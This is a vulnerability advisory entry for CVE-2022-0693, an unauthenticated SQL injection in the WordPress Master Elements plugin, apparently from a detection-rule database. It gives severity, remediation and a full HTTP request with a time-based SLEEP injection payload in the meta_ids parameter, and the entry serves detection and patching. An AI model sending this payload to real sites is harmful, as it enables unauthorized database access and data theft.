🔙 목록으로 돌아가기

CVE-2022-0693: WordPress Master Elements <=8.0 - SQL Injection

TitleWordPress Master Elements <=8.0 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
RemediationUpdate to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.
CVSS Score9.8
EPSS Score0.62576
CVE IDCVE-2022-0693
CWE IDCWE-89
Tags time-based-sqli cve2022 cve unauth wpscan wp-plugin wp sqli wordpress master-elements devbunch vuln

🔍 Vulnerability Description

WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0693.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0693.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A